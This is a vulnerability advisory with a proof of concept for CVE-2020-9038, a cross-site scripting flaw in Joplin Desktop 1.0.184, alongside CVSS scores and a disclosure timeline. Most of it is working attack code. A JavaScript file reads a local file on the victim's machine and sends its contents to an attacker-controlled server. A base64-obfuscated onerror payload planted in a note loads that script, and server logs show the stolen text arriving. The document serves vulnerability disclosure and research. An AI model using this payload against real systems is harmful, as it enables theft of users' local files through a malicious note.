Joplin Desktop 1.0.184 Cross-Site Scripting

2020.03.04
Credit: Javier Olmedo
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting # Exploit Author: Javier Olmedo # Date: 2020-02-27 # Vendor: Laurent Cozic # Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip # Affected Version: 1.0.184 and before # Patched Version: 1.0.185 # Category: Remote # Platform: Windows # Tested on: Windows 10 Pro # CWE: https://cwe.mitre.org/data/definitions/79.html # CVE: 2020-9038 # References: # https://github.com/JavierOlmedo/CVE-2020-9038 # https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc # 1. Technical Description # Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting # vulnerability through the malicious note. This allows a malicious user # read arbitrary files of system. # 2. Proof Of Concept (PoC) # 2.1 Start a webserver to receive the connection in evil machine (you can use a python server). python -m SimpleHTTPServer 8080 # 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER) function readTextFile(file){ var rawFile = new XMLHttpRequest(); rawFile.open("GET", file, false); rawFile.onreadystatechange = function (){ if(rawFile.readyState === 4){ if(rawFile.status === 200 || rawFile.status == 0){ allText = rawFile.responseText; //alert(allText); var img = document.createElement('img'); img.src = "http://[IP:PORT]/" + allText; document.body.appendChild(img) } } } rawFile.send(null); } readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT"); //readTextFile("file:///C:/Windows/System32/drivers/etc/hosts"); # 2.3 Create a secret.txt file with any content in victim desktop. # 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64). <p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p> # 2.5 Your web server will receive a request with the contents of the secret.txt file Serving HTTP on 0.0.0.0 port 8080 ... 192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 - 192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 - # 3. Timeline # 20, december 2019 - [RESEARCHER] Discover # 20, december 2019 - [RESEARCHER] Report to vendor support # 21, december 2019 - [DEVELOPER] Recognized vulnerability # 13, february 2020 - [DEVELOPER] Patched vulnerability # 27, february 2020 - [RESEARCHER] Public disclosure # 4. Disclaimer # The information contained in this notice is provided without any guarantee of use or otherwise. # The redistribution of this notice is explicitly permitted for insertion into vulnerability # databases, provided that it is not modified and due credit is granted to the author. # The author prohibits the malicious use of the information contained herein and accepts no responsibility. # All content (c) # Javier Olmedo


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